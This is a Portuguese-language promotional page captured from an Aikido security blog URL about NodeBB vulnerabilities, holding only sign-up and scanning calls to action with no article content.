https://www.aikido.dev/blog/eight-high-severity-vulnerabilities-nodebb

Verificar por malware

Comece Gratuitamente
4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.